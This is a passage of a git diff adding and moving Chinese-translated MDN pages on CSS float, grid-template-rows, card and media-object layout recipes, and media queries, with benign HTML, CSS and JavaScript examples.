+
表明元素必须浮动在其所在的块容器左侧的关键字。
+
right
+
表明元素必须浮动在其所在的块容器右侧的关键字。
+
none
+
表明元素不进行浮动的关键字。
+
inline-start
+
关键字,表明元素必须浮动在其所在块容器的开始一侧,在ltr脚本中是左侧,在rtl脚本中是右侧。
+
inline-end
+
关键字,表明元素必须浮动在其所在块容器的结束一侧,在ltr脚本中是右侧,在rtl脚本中是左侧。
+
+ +

形式化语法

+ +
{{csssyntax("float")}}
+ +

例子

+ +

浮动元素是如何定位的

+ +

正如我们前面提到的那样,当一个元素浮动之后,它会被移出正常的文档流,然后向左或者向右平移,一直平移直到碰到了所处的容器的边框,或者碰到另外一个浮动的元素

+ +

在下面的图片中,有三个红色的正方形。其中有两个向左浮动,一个向右浮动。要注意到第二个向左浮动的正方形被放在第一个向左浮动的正方形的右边。如果还有更多的正方形这样浮动,它们会继续向右堆放,直到填满容器一整行,之后换行至下一行。

+ + + +

HTML

+ +
<section>
+  <div class="left">1</div>
+  <div class="left">2</div>
+  <div class="right">3</div>
+  <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+     Morbi tristique sapien ac erat tincidunt, sit amet dignissim
+     lectus vulputate. Donec id iaculis velit. Aliquam vel
+     malesuada erat. Praesent non magna ac massa aliquet tincidunt
+     vel in massa. Phasellus feugiat est vel leo finibus congue.</p>
+</section>
+
+ +

CSS

+ +
section {
+  border: 1px solid blue;
+}
+
+div {
+  margin: 5px;
+  width: 50px;
+  height: 50px;
+}
+
+.left {
+  float: left;
+  background: pink;
+}
+
+.right {
+  float: right;
+  background: cyan;
+}
+ +

结果

+ +

{{EmbedLiveSample('How_floated_elements_are_positioned','400','180')}}

+ +

清除浮动

+ +

有时,你可能想要强制元素移至任何浮动元素下方。比如说,你可能希望某个段落与浮动元素保持相邻的位置,但又希望这个段落从头开始强制独占一行。请参考 {{cssxref("clear")}} 以获取例子等。

+ +
+
+

译者注:以下直至“规范”部分,皆为英文原文中已剔除的过时内容。

+
+
+ +

在前面的例子当中,浮动的元素的高度比它们所在的容器元素(是块元素)的高度小。然而如果块元素内的文本太短,不足以把块元素的大小撑到高度大于所有浮动元素的高度,我们可能会看到意想不到的效果。例如,如果上面图片中的文字只有"Lorem ipsum dolor sit amet,",并且接下来是另外一个和"Floats Example"这个标题一样风格的标题元素,那么第二个标题元素会出现在红色的正方形之间。然而在大多数这种情况下,我们希望这个标题元素是靠左对齐的。为了实现这个效果,我们需要清除浮动。

+ +

这个例子中,最简单的清除浮动方式就是给我们想要确保左对齐的新标题元素添加{{Cssxref("clear")}}属性:

+ +
h2.secondHeading { clear: both; }
+
+ +

然而这个方法只是在同一块级格式化上下文(block formatting context)中没有其他元素的时候才是有效的。如果我们的 H2 有兄弟元素是向左浮动和向右浮动的边栏,那么使用clear 会导致这个标题元素出现在边栏的下方,这显然不是我们期望的结果。

+ +

如果不能使用清除浮动,另一种做法是浮动容器的限制块级格式化上下文。再次列举上面的例子,有三个红色的正方形和一个P元素。我们可以设置P元素的{{Cssxref("overflow")}}属性值变成hidden 或者auto,因为这样可以让容器元素伸展到能够包含红色正方形,而不是让他们超出块元素的底部。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态说明
{{SpecName('CSS Logical Properties', '#float-clear', 'float and clear')}}{{Spec2('CSS Logical Properties')}}添加了 inline-start 和 inline-end
{{SpecName('CSS3 Box', '#float', 'float')}}{{Spec2('CSS3 Box')}}大量新属性值,但目前还没完全定义清楚。任何与新特性无关的浏览器差异应该是无意中造成的,需要报告。
{{SpecName('CSS2.1', 'visuren.html#float-position', 'float')}}{{Spec2('CSS2.1')}}没有改变。
{{SpecName('CSS1', '#float', 'float')}}{{Spec2('CSS1')}}初始定义。
+ +

{{cssinfo}}

+ +

浏览器兼容性

+ + + +

{{Compat("css.properties.float")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/css/grid-template-rows/index.html b/files/zh-cn/web/css/grid-template-rows/index.html new file mode 100644 index 0000000000..0dcd6b29d5 --- /dev/null +++ b/files/zh-cn/web/css/grid-template-rows/index.html @@ -0,0 +1,209 @@ +--- +title: grid-template-rows +slug: Web/CSS/网格-模板-列 +tags: + - grid-template-rows +translation_of: Web/CSS/grid-template-rows +--- +

grid-template-rows 该属性是基于 {{glossary("grid rows", "网格行")}} 的维度,去定义网格线的名称和网格轨道的尺寸大小。

+ +
{{EmbedInteractiveExample("pages/css/grid-template-rows.html")}}
+ + + +

语法

+ +
/* Keyword value */
+grid-template-rows: none;
+
+/* <track-list> values */
+grid-template-rows: 100px 1fr;
+grid-template-rows: [linename] 100px;
+grid-template-rows: [linename1] 100px [linename2 linename3];
+grid-template-rows: minmax(100px, 1fr);
+grid-template-rows: fit-content(40%);
+grid-template-rows: repeat(3, 200px);
+
+/* <auto-track-list> values */
+grid-template-rows: 200px repeat(auto-fill, 100px) 300px;
+grid-template-rows: minmax(100px, max-content)
+                       repeat(auto-fill, 200px) 20%;
+grid-template-rows: [linename1] 100px [linename2]
+                       repeat(auto-fit, [linename3 linename4] 300px)
+                       100px;
+grid-template-rows: [linename1 linename2] 100px
+                       repeat(auto-fit, [linename1] 300px) [linename3];
+
+/* Global values */
+grid-template-rows: inherit;
+grid-template-rows: initial;
+grid-template-rows: unset;
+
+ +

该属性可能包含如下值:

+ + + +

+ +
+
none
+
这个关键字表示不明确的网格。所有的行和其大小都将由{{cssxref("grid-auto-rows")}} 属性隐式的指定。
+
{{cssxref("<length>")}}
+
非负值的长度大小。
+
{{cssxref("<percentage>")}}
+
非负值且相对于网格容器的 {{cssxref("percentage", "<百分比>")}}。 如果网格容器的尺寸大小依赖网格轨道的大小(比如 inline-grid ),则百分比值将被视为auto
+
为了遵守网格的百分比,网格轨道本身定义的大小,将自动被调整为相对网格容器大小,并且是以最小量将网格轨道调整到最终的大小。
+
{{cssxref("<flex_value>","<flex>")}}
+
非负值,用单位 fr 来定义网格轨道大小的弹性系数。 每个定义了 <flex> 的网格轨道会按比例分配剩余的可用空间。当外层用一个 minmax() 表示时,它将是一个自动最小值(即 minmax(auto, <flex>) ) 。
+
max-content
+
是一个用来表示以网格项的最大的内容来占据网格轨道的关键字。
+
min-content
+
是一个用来表示以网格项的最大的最小内容来占据网格轨道的关键字。
+
{{cssxref("minmax", "minmax(min, max)")}}
+
是一个来定义大小范围的属性,大于等于min值,并且小于等于max值。如果max值小于min值,则该值会被视为min值。最大值可以设置为网格轨道系数值<flex> ,但最小值则不行。 
+
+

Note:  该规范在将来可能会允许设置最小值为 flex ,也会调整网格轨道算法(track sizing algorithm) 计算出正确的大小。

+
+
auto
+
如果该网格轨道为最大时,该属性等同于 <max-content> ,为最小时,则等同于 <min-content> 。
+
+

Note: 网格轨道大小为 auto (且只有为 auto ) 时,才可以被属性{{cssxref("align-content")}} 和 {{cssxref("justify-content")}} 拉伸 。

+
+
{{cssxref("fit-content", "fit-content( [ <length> | <percentage> ] )")}}
+
相当于公式 min(max-content, max(auto, argument)),类似于auto 的计算(即 minmax(auto, max-content)),除了网格轨道大小值是确定下来的,否则该值都大于 auto 的最小值。
+
{{cssxref("repeat", "repeat( [ <positive-integer> | auto-fill | auto-fit ] , <track-list> )")}}
+
表示网格轨道的重复部分,以一种更简洁的方式去表示大量而且重复行的表达式。
+
+ +

正式语法

+ +
{{csssyntax}}
+ +

示例

+ +

CSS

+ +
#grid {
+  display: grid;
+  height: 100px;
+  grid-template-rows: 30px 1fr;
+}
+
+#areaA {
+  background-color: lime;
+}
+
+#areaB {
+  background-color: yellow;
+}
+ +

HTML

+ +
<div id="grid">
+  <div id="areaA">A</div>
+  <div id="areaB">B</div>
+</div>
+ +

结果

+ +

{{EmbedLiveSample("示例", "40px", "100px")}}

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("CSS3 Grid", "#propdef-grid-template-rows", "grid-template-rows")}}{{Spec2("CSS3 Grid")}}初步定义
+ +

{{cssinfo}}

+ +

浏览器兼容性

+ +

 

+ + + +

{{Compat("css.properties.grid-template-rows")}}

+ +

 

+ +

参见

+ + + + diff --git a/files/zh-cn/web/css/layout_cookbook/card/index.html b/files/zh-cn/web/css/layout_cookbook/card/index.html new file mode 100644 index 0000000000..260ef3ba54 --- /dev/null +++ b/files/zh-cn/web/css/layout_cookbook/card/index.html @@ -0,0 +1,82 @@ +--- +title: 卡片 +slug: Web/CSS/Layout_cookbook/卡片 +translation_of: Web/CSS/Layout_cookbook/Card +--- +

{{CSSRef}}

+ +

这个模式是带有页脚选项的卡片组件列表。

+ +

+ +

Three card components in a row

+ +

要求

+ +

卡片组件可以包含各种内容,包括一个头部(heading),图片,内容和一个页脚(footer)

+ +

每个卡片组件应有相同的高度,并且页脚应该在卡片组件的底部

+ +

当添加到卡片组中时,卡片上下应对齐。

+ +

使用指南

+ +

{{EmbedGHLiveSample("css-examples/css-cookbook/card.html", '100%', 1720)}}

+ +
+

Download this example

+
+ +

所选方案

+ +

卡片布局使用 CSS 网格布局(CSS Grid Layout) despite being a single dimensional layout, as it enables the use of content sizing for the grid tracks. When setting up the single column grid I use the following:

+ +
.card {
+  display: grid;
+  grid-template-rows: max-content 200px 1fr;
+}
+ +

The heading track is set to {{cssxref("max-content")}}, which prevents it from stretching. I have decided that I want my image to live within a track that is 200 pixels tall. I then set the next track — which is where the content lives — to 1fr. This means it will take up any additional space. 

+ +

If the track does have a footer it will be auto-sized, as rows created in the implicit grid are auto-sized by default. Therefore this will fit the content added to it.

+ +
+

Note: The various elements in separate cards do not align with each other, as each card is an independent grid. The proposed subgrid feature of Grid Level 2 would give a solution to this issue.

+
+ +

Useful fallbacks or alternative methods

+ +

Flexbox could be used to lay out the card, in which case you should make the content area grow, and other items not grow. This would be a reasonable way to lay out the card, although I have a slight preference for being able to control the tracks from the container rather than needing to add rules to the items.

+ +

For the overall layout you could use flexbox, however this will result in cards stretching over the final flex row where there are fewer than can fit in the rows above. Alternatively you could use CSS multi-col — this would cause the cards to lay out down the columns, which may or may not be a problem.

+ +

See the columns recipe for demonstrations of each of these layout methods.

+ +

Accessibility concerns

+ +

Depending on the content of your card there may be things you could, or should do to enhance accessibility. See Inclusive Components: Card by Heydon Pickering, for a very detailed explanation of these issues.

+ +

Browser compatibility

+ +

The various layout methods have different browser support. See the charts below for details on basic support for the properties used.

+ + + +

grid-template-columns

+ +

{{Compat("css.properties.grid-template-columns")}}

+ +

grid-template-rows

+ +

{{Compat("css.properties.grid-template-rows")}}

+ + + +

See also

+ + diff --git a/files/zh-cn/web/css/layout_cookbook/media_objects/index.html b/files/zh-cn/web/css/layout_cookbook/media_objects/index.html new file mode 100644 index 0000000000..382e4bacce --- /dev/null +++ b/files/zh-cn/web/css/layout_cookbook/media_objects/index.html @@ -0,0 +1,86 @@ +--- +title: '指南: 媒体对象' +slug: Web/CSS/Layout_cookbook/媒体对象 +tags: + - 媒体对象 + - 布局 + - 指南 + - 浮动 + - 网格 +translation_of: Web/CSS/Layout_cookbook/Media_objects +--- +
{{CSSRef}}
+ +

媒体对象是web上随处可见的一种模式。它由Nicole Sullivan命名,表示一种一侧是图片并且另一侧是描述性的文字的两列盒子,比如一篇facebook帖子或者tweet。

+ +

+ +

要求

+ +

媒体对象模式需要以下特性的一些或者全部:

+ + + +

使用指南

+ +

{{EmbedGHLiveSample("css-examples/css-cookbook/media-objects.html", '100%', 1200)}}

+ +
+

Download this example

+
+ +

做出选择

+ +

我选择使用Grid Layout实现媒体对象,因为它可以让我在我需要的时候控制两个维度的布局。这意味着当我们有一个页脚(footer)的时候,上面的内容很短,页脚可以被推到媒体对象的底部。

+ +

另一个使用网格布局(Grid Layout)的原因是为了可以使用{{cssxref("fit-content")}}图片的追踪(track)大小。通过使用 最大尺寸是200像素的fit-content ,当我们有一个小图片比如icon的时候,track仅仅得到和image的尺寸一样的大小(max-content 大小)。如果图片更大,track在200像素的时候停止增长,因为图片应用了{{cssxref("max-width ")}}为100%。同样,它会缩小以适应列内部的尺寸。

+ +

通过使用{{cssxref("grid-template-areas")}} 来实现布局,我可以看到CSS中的这个模式。我定义我的网格,其并且设置最大宽度(max-width)为500像素,因此在较小的设备上媒体对象会被堆叠起来。

+ +

模式的一个选项是翻转它将图片切换到另一边——这通过添加media-flip 类来实现,它定义了一个翻转的网格模板所以布局被镜像了。

+ +

当我们在另一个媒体对象之中嵌套一个媒体对象,我么你需要将它放到常规布局的第二个track中,当翻转时放到第一个track中

+ +

回退方案

+ +

对于这种模式有很多种可能的回退方案,取决于你希望支持的浏览器。一个比较号的方案是将图片浮动到左边,并且为盒子添加clearfix来确保它包含浮动元素。

+ +

{{EmbedGHLiveSample("css-examples/css-cookbook/media-objects-fallback.html", '100%', 1200)}}

+ +
+

Download this example

+
+ +

一旦浮动元素成为网格项,浮动将不再被应用到网格上,因此你不需要做任何特殊的事情来清楚浮动。

+ +

你需要做的事情是移除应用到这些items的任何边界,以及我们在一个网格上下文中不需要的任何宽度(在网格中我们有{{cssxref("gap")}}属性来控制它,并且track控制了尺寸)。

+ +

MDN上相关的资源

+ + + +

浏览器兼容性

+ +

.各种各样的布局方法有不同的浏览器支持。查看下面的图表得到属性的基本支持的细节。

+ +

这个页面中的兼容性表格由结构数据生成。如果你想对数据做贡献,请查看 https://github.com/mdn/browser-compat-data 并且给我们发送一个pull request。

+ +

grid-template-areas

+ +

{{Compat("css.properties.grid-template-areas")}}

+ +

float

+ +

{{Compat("css.properties.float")}}

diff --git "a/files/zh-cn/web/css/layout_cookbook/\345\215\241\347\211\207/index.html" "b/files/zh-cn/web/css/layout_cookbook/\345\215\241\347\211\207/index.html" deleted file mode 100644 index 260ef3ba54..0000000000 --- "a/files/zh-cn/web/css/layout_cookbook/\345\215\241\347\211\207/index.html" +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: 卡片 -slug: Web/CSS/Layout_cookbook/卡片 -translation_of: Web/CSS/Layout_cookbook/Card ---- -

{{CSSRef}}

- -

这个模式是带有页脚选项的卡片组件列表。

- -

- -

Three card components in a row

- -

要求

- -

卡片组件可以包含各种内容,包括一个头部(heading),图片,内容和一个页脚(footer)

- -

每个卡片组件应有相同的高度,并且页脚应该在卡片组件的底部

- -

当添加到卡片组中时,卡片上下应对齐。

- -

使用指南

- -

{{EmbedGHLiveSample("css-examples/css-cookbook/card.html", '100%', 1720)}}

- -
-

Download this example

-
- -

所选方案

- -

卡片布局使用 CSS 网格布局(CSS Grid Layout) despite being a single dimensional layout, as it enables the use of content sizing for the grid tracks. When setting up the single column grid I use the following:

- -
.card {
-  display: grid;
-  grid-template-rows: max-content 200px 1fr;
-}
- -

The heading track is set to {{cssxref("max-content")}}, which prevents it from stretching. I have decided that I want my image to live within a track that is 200 pixels tall. I then set the next track — which is where the content lives — to 1fr. This means it will take up any additional space. 

- -

If the track does have a footer it will be auto-sized, as rows created in the implicit grid are auto-sized by default. Therefore this will fit the content added to it.

- -
-

Note: The various elements in separate cards do not align with each other, as each card is an independent grid. The proposed subgrid feature of Grid Level 2 would give a solution to this issue.

-
- -

Useful fallbacks or alternative methods

- -

Flexbox could be used to lay out the card, in which case you should make the content area grow, and other items not grow. This would be a reasonable way to lay out the card, although I have a slight preference for being able to control the tracks from the container rather than needing to add rules to the items.

- -

For the overall layout you could use flexbox, however this will result in cards stretching over the final flex row where there are fewer than can fit in the rows above. Alternatively you could use CSS multi-col — this would cause the cards to lay out down the columns, which may or may not be a problem.

- -

See the columns recipe for demonstrations of each of these layout methods.

- -

Accessibility concerns

- -

Depending on the content of your card there may be things you could, or should do to enhance accessibility. See Inclusive Components: Card by Heydon Pickering, for a very detailed explanation of these issues.

- -

Browser compatibility

- -

The various layout methods have different browser support. See the charts below for details on basic support for the properties used.

- - - -

grid-template-columns

- -

{{Compat("css.properties.grid-template-columns")}}

- -

grid-template-rows

- -

{{Compat("css.properties.grid-template-rows")}}

- - - -

See also

- - diff --git "a/files/zh-cn/web/css/layout_cookbook/\345\252\222\344\275\223\345\257\271\350\261\241/index.html" "b/files/zh-cn/web/css/layout_cookbook/\345\252\222\344\275\223\345\257\271\350\261\241/index.html" deleted file mode 100644 index 382e4bacce..0000000000 --- "a/files/zh-cn/web/css/layout_cookbook/\345\252\222\344\275\223\345\257\271\350\261\241/index.html" +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: '指南: 媒体对象' -slug: Web/CSS/Layout_cookbook/媒体对象 -tags: - - 媒体对象 - - 布局 - - 指南 - - 浮动 - - 网格 -translation_of: Web/CSS/Layout_cookbook/Media_objects ---- -
{{CSSRef}}
- -

媒体对象是web上随处可见的一种模式。它由Nicole Sullivan命名,表示一种一侧是图片并且另一侧是描述性的文字的两列盒子,比如一篇facebook帖子或者tweet。

- -

- -

要求

- -

媒体对象模式需要以下特性的一些或者全部:

- - - -

使用指南

- -

{{EmbedGHLiveSample("css-examples/css-cookbook/media-objects.html", '100%', 1200)}}

- -
-

Download this example

-
- -

做出选择

- -

我选择使用Grid Layout实现媒体对象,因为它可以让我在我需要的时候控制两个维度的布局。这意味着当我们有一个页脚(footer)的时候,上面的内容很短,页脚可以被推到媒体对象的底部。

- -

另一个使用网格布局(Grid Layout)的原因是为了可以使用{{cssxref("fit-content")}}图片的追踪(track)大小。通过使用 最大尺寸是200像素的fit-content ,当我们有一个小图片比如icon的时候,track仅仅得到和image的尺寸一样的大小(max-content 大小)。如果图片更大,track在200像素的时候停止增长,因为图片应用了{{cssxref("max-width ")}}为100%。同样,它会缩小以适应列内部的尺寸。

- -

通过使用{{cssxref("grid-template-areas")}} 来实现布局,我可以看到CSS中的这个模式。我定义我的网格,其并且设置最大宽度(max-width)为500像素,因此在较小的设备上媒体对象会被堆叠起来。

- -

模式的一个选项是翻转它将图片切换到另一边——这通过添加media-flip 类来实现,它定义了一个翻转的网格模板所以布局被镜像了。

- -

当我们在另一个媒体对象之中嵌套一个媒体对象,我么你需要将它放到常规布局的第二个track中,当翻转时放到第一个track中

- -

回退方案

- -

对于这种模式有很多种可能的回退方案,取决于你希望支持的浏览器。一个比较号的方案是将图片浮动到左边,并且为盒子添加clearfix来确保它包含浮动元素。

- -

{{EmbedGHLiveSample("css-examples/css-cookbook/media-objects-fallback.html", '100%', 1200)}}

- -
-

Download this example

-
- -

一旦浮动元素成为网格项,浮动将不再被应用到网格上,因此你不需要做任何特殊的事情来清楚浮动。

- -

你需要做的事情是移除应用到这些items的任何边界,以及我们在一个网格上下文中不需要的任何宽度(在网格中我们有{{cssxref("gap")}}属性来控制它,并且track控制了尺寸)。

- -

MDN上相关的资源

- - - -

浏览器兼容性

- -

.各种各样的布局方法有不同的浏览器支持。查看下面的图表得到属性的基本支持的细节。

- -

这个页面中的兼容性表格由结构数据生成。如果你想对数据做贡献,请查看 https://github.com/mdn/browser-compat-data 并且给我们发送一个pull request。

- -

grid-template-areas

- -

{{Compat("css.properties.grid-template-areas")}}

- -

float

- -

{{Compat("css.properties.float")}}

diff --git a/files/zh-cn/web/css/media_queries/index.html b/files/zh-cn/web/css/media_queries/index.html new file mode 100644 index 0000000000..9936c531f1 --- /dev/null +++ b/files/zh-cn/web/css/media_queries/index.html @@ -0,0 +1,109 @@ +--- +title: 媒体查询 +slug: Web/CSS/媒体查询 +tags: + - CSS + - 参考 + - 响应式设计 + - 媒体查询 + - 总览 +translation_of: Web/CSS/Media_Queries +--- +
{{CSSRef}}
+ +

通过媒体查询Media queries),您可以根据各种设备特征和参数的值或者是否存在来调整您的网站或应用。

+ +

它们是响应式设计的关键组成部分。 例如,媒体查询可以缩小小型设备上的字体大小,在纵向模式下查看页面时增加段落之间的填充,或者增加触摸屏上按钮的大小。

+ +

在 CSS 中,使用 {{cssxref("@media")}} at-rule 根据媒体查询的结果有条件地应用样式表的一部分。 使用 {{cssxref("@import")}} 有条件地应用整个样式表。

+ +

在 HTML 中使用媒体查询

+ +

HTML 中,媒体查询可以应用于各种元素:

+ + + +

在 JavaScript 中使用媒体查询

+ +

JavaScript中,您可以使用 {{domxref("Window.matchMedia()")}} 方法根据媒体查询测试窗口。 您还可以使用{{domxref("MediaQueryList.addListener()")}}在查询状态发生变化时收到通知。 借助此功能,您的站点或应用可以响应设备配置,方向或状态的更改。

+ +

您可以学习更多以编程方式使用媒体查询在测试媒体查询中。

+ +

参考

+ +

At-rules

+ +
+ +
+ +

指南

+ +
+
使用媒体查询
+
介绍媒体查询和媒体查询的的语法以及用于构造媒体查询表达式的运算符和媒体功能。
+
编程方式使用媒体查询
+
描述如何在 JavaScript 代码中使用媒体查询来确定设备的状态,以及设置在媒体查询结果发生更改时(例如,当用户旋转屏幕或调整浏览器大小时)通知代码的监听器。
+
使用媒体查询增强网站的可访问性
+
了解媒体查询如何帮助用户更好地了解您的网站。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('CSS5 Media Queries')}}{{Spec2('CSS5 Media Queries')}}
{{SpecName('CSS3 Conditional')}}{{Spec2('CSS3 Conditional')}}
{{SpecName('CSS4 Media Queries')}}{{Spec2('CSS4 Media Queries')}}
{{SpecName('CSS3 Media Queries')}}{{Spec2('CSS3 Media Queries')}}
{{SpecName('CSS2.1', 'media.html')}}{{Spec2('CSS2.1')}}Initial definition
+ +

浏览器兼容性

+ +

@media rule

+ + + +

{{Compat("css.at-rules.media")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/css/media_queries/testing_media_queries/index.html b/files/zh-cn/web/css/media_queries/testing_media_queries/index.html new file mode 100644 index 0000000000..0d33436410 --- /dev/null +++ b/files/zh-cn/web/css/media_queries/testing_media_queries/index.html @@ -0,0 +1,90 @@ +--- +title: 使用编程方法测试媒体查询 +slug: Web/Guide/CSS/Testing_media_queries +tags: + - CSS + - DOM + - Event + - Media Queries + - Web +translation_of: Web/CSS/Media_Queries/Testing_media_queries +--- +
{{cssref}}
+ +

{{Glossary("DOM")}} 提供了通过编程方法来获得媒体查询结果的特性。这是通过 {{domxref("MediaQueryList")}} 接口和它的方法来实现的。创建了 MediaQueryList 对象之后,就可以通过它来检查查询结果,或者设置事件监听器,在查询结果发生变化时自动接收到通知。

+ +

创建媒体查询列表

+ +

在获取查询结果前,首先要创建查询列表,也就是 MediaQueryList 对象来存放媒体查询。为了实现这个目的,可以使用 {{domxref("window.matchMedia")}} 方法。

+ +

举个例子,设置一个用来判断设备的旋转方向(横屏还是竖屏)的查询列表:

+ +
var mediaQueryList = window.matchMedia("(orientation: portrait)");
+
+ +

检查查询结果

+ +

一旦创建了媒体查询列表,你就可以通过检查它的 matches 属性来获取相应的查询结果,上述属性会直接返回查询结果:

+ +
if (mediaQueryList.matches) {
+  /* 设备的旋转方向为纵向 portrait */
+} else {
+  /* 设备的旋转方向不是纵向,也就是横向 landscape */
+}
+
+ +

接收查询提醒

+ +

如果你需要持续观察查询结果值的变化情况,那么,注册一个监听器比手动检查查询结果要高效很多。要注册监听器,只要在 {{domxref("MediaQueryList")}} 对象上使用 addListener() 方法,并使用一个回调函数作为其参数。这样,就通过实现 {{domxref("MediaQueryListListener")}} 接口指定了一个监听器。每当查询结果发生变化,比如从 true 变为 false 时,就会调用一遍传入的回调函数。

+ +
// 创建查询列表
+const mediaQueryList = window.matchMedia("(orientation: portrait)");
+
+// 定义回调函数
+function handleOrientationChange(mql) {
+  // ...
+}
+
+// 先运行一次回调函数
+handleOrientationChange(mediaQueryList);
+
+// 为查询列表注册监听器,同时将回调函数传给监听器
+mediaQueryList.addListener(handleOrientationChange);
+
+ +

上述代码创建了一个屏幕方向的测试查询列表 mediaQueryList,并且添加了事件监听器。需要注意的是,当我们添加监听后,我们其实直接调用了一次监听。这会让我们的监听器以目前设备的屏幕方向来初始化判定代码。换句话说,如果我们代码中设定设备处于竖屏模式,而实际上它在启动时处于横屏模式,那么我们在后面的判定就会出现矛盾。

+ +

然后,我们就能在 handleOrientationChange() 方法中检查查询结果,比如,可以设置屏幕方向变化后的逻辑处理代码:

+ +
function handleOrientationChange(evt) {
+  if (evt.matches) {
+    /* The viewport is currently in portrait orientation */
+  } else {
+    /* The viewport is currently in landscape orientation */
+  }
+}
+
+ +

终止查询通知

+ +

如果不再需要再接收媒体查询值变化的相关通知,那么,只要调用 MediaQueryListremoveListener() 方法,就可以方便地移除监听:

+ +
mediaQueryList.removeListener(handleOrientationChange);
+
+ +

浏览器兼容性

+ +

MediaQueryList 接口

+ + + +

{{Compat("api.MediaQueryList")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/css/media_queries/using_media_queries/index.html b/files/zh-cn/web/css/media_queries/using_media_queries/index.html new file mode 100644 index 0000000000..bfb15efa67 --- /dev/null +++ b/files/zh-cn/web/css/media_queries/using_media_queries/index.html @@ -0,0 +1,412 @@ +--- +title: 使用媒体查询 +slug: Web/Guide/CSS/Media_queries +tags: + - CSS + - CSS媒体查询 + - Media + - Web + - 媒体 + - 媒体查询 + - 指南 +translation_of: Web/CSS/Media_Queries/Using_media_queries +--- +
{{cssref}}
+ +

媒体查询Media queries)非常实用,尤其是当你想要根据设备的大致类型(如打印设备与带屏幕的设备)或者特定的特征和设备参数(例如屏幕分辨率和浏览器{{glossary("viewport", "视窗")}}宽度)来修改网站或应用程序时。

+ +

媒体查询常被用于以下目的:

+ + + +
<link rel="stylesheet" src="styles.css" media="screen" />
+<link rel="stylesheet" src="styles.css" media="print" />
+
+ + + +
+

注意:本页的例子使用CSS @media 的方式来说明目的,但是对于所有类型的媒体查询,基本语法均相同。

+
+ +

语法

+ +

每条媒体查询语句都由一个可选的媒体类型和任意数量的媒体特性表达式构成。可以使用多种逻辑操作符合并多条媒体查询语句。媒体查询语句不区分大小写。

+ +

当媒体类型(如果指定)与在其上显示文档的设备匹配并且所有媒体功能表达式都计算为true时,媒体查询将计算为true。 涉及未知媒体类型的查询始终为false。

+ +
+

注意: 即使媒体查询返回false,带有媒体查询附加到其{{HTMLElement("link")}}标记的样式表仍将下载。 但是,除非查询结果变为true,否则其内容将不适用。

+
+ +

媒体类型

+ +

媒体类型Media types)描述设备的一般类别。除非使用 notonly 逻辑操作符,媒体类型是可选的,并且会(隐式地)应用 all 类型。

+ +
+
all
+
适用于所有设备。
+
print
+
适用于在打印预览模式下在屏幕上查看的分页材料和文档。 (有关特定于这些格式的格式问题的信息,请参阅分页媒体。)
+
screen
+
主要用于屏幕。
+
speech
+
主要用于语音合成器。
+
+ +
被废弃的媒体类型: CSS2.1 和  Media Queries 3 定义了一些额外的媒体类型(tty, tv, projection, handheld, braille, embossed, 以及 aural),但是他们在Media Queries 4 中已经被废弃,并且不应该被使用。aural类型被替换为具有相似效果的speech
+ +

媒体特性

+ +

媒体特性Media features)描述了 {{glossary("user agent")}}、输出设备,或是浏览环境的具体特征。媒体特性表达式是完全可选的,它负责测试这些特性或特征是否存在、值为多少。每条媒体特性表达式都必须用括号括起来。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
名称简介备注
{{cssxref("@media/any-hover", "any-hover")}}是否有任何可用的输入机制允许用户(将鼠标等)悬停在元素上?在 Media Queries Level 4 中被添加。
{{cssxref("@media/any-pointer", "any-pointer")}}可用的输入机制中是否有任何指针设备,如果有,它的精度如何?在 Media Queries Level 4 中被添加。
{{cssxref("@media/aspect-ratio", "aspect-ratio")}}视窗(viewport)的宽高比
{{cssxref("@media/color", "color")}}输出设备每个像素的比特值,常见的有 8、16、32 位。如果设备不支持输出彩色,则该值为 0
{{cssxref("@media/color-gamut", "color-gamut")}}用户代理和输出设备大致程度上支持的色域在 Media Queries Level 4 中被添加。
{{cssxref("@media/color-index", "color-index")}}输出设备的颜色查询表(color lookup table)中的条目数量,如果设备不使用颜色查询表,则该值为 0
{{cssxref("@media/device-aspect-ratio", "device-aspect-ratio")}} {{obsolete_inline}}输出设备的宽高比已在 Media Queries Level 4 中被弃用。
{{cssxref("@media/device-height", "device-height")}} {{obsolete_inline}}输出设备渲染表面(如屏幕)的高度已在 Media Queries Level 4 中被弃用。
{{cssxref("@media/device-width", "device-width")}} {{obsolete_inline}}输出设备渲染表面(如屏幕)的宽度已在 Media Queries Level 4 中被弃用。
{{cssxref("@media/display-mode", "display-mode")}} +

应用程序的显示模式,如web app的manifest中的display 成员所指定

+
在 Web App Manifest spec被定义.
{{cssxref("@media/forced-colors", "forced-colors")}}检测是user agent否限制调色板在 Media Queries Level 5 中被添加。
{{cssxref("@media/grid", "grid")}}输出设备使用网格屏幕还是点阵屏幕?
{{cssxref("@media/height", "height")}}视窗(viewport)的高度
{{cssxref("@media/hover", "hover")}} +

主要输入模式是否允许用户在元素上悬停

+
在 Media Queries Level 4 中被添加。
{{cssxref("@media/inverted-colors", "inverted-colors")}}user agent或者底层操作系统是否反转了颜色在 Media Queries Level 5 中被添加。
{{cssxref("@media/light-level", "light-level")}}环境光亮度在 Media Queries Level 5 中被添加。
{{cssxref("@media/monochrome", "monochrome")}} +

输出设备单色帧缓冲区中每个像素的位深度。如果设备并非黑白屏幕,则该值为 0

+
{{cssxref("@media/orientation", "orientation")}}视窗(viewport)的旋转方向
{{cssxref("@media/overflow-block", "overflow-block")}} +

输出设备如何处理沿块轴溢出视窗(viewport)的内容

+
在 Media Queries Level 4 中被添加。
{{cssxref("@media/overflow-inline", "overflow-inline")}} +

沿内联轴溢出视窗(viewport)的内容是否可以滚动?

+
在 Media Queries Level 4 中被添加。
{{cssxref("@media/pointer", "pointer")}} +

主要输入机制是一个指针设备吗?如果是,它的精度如何?

+
在 Media Queries Level 4 中被添加。
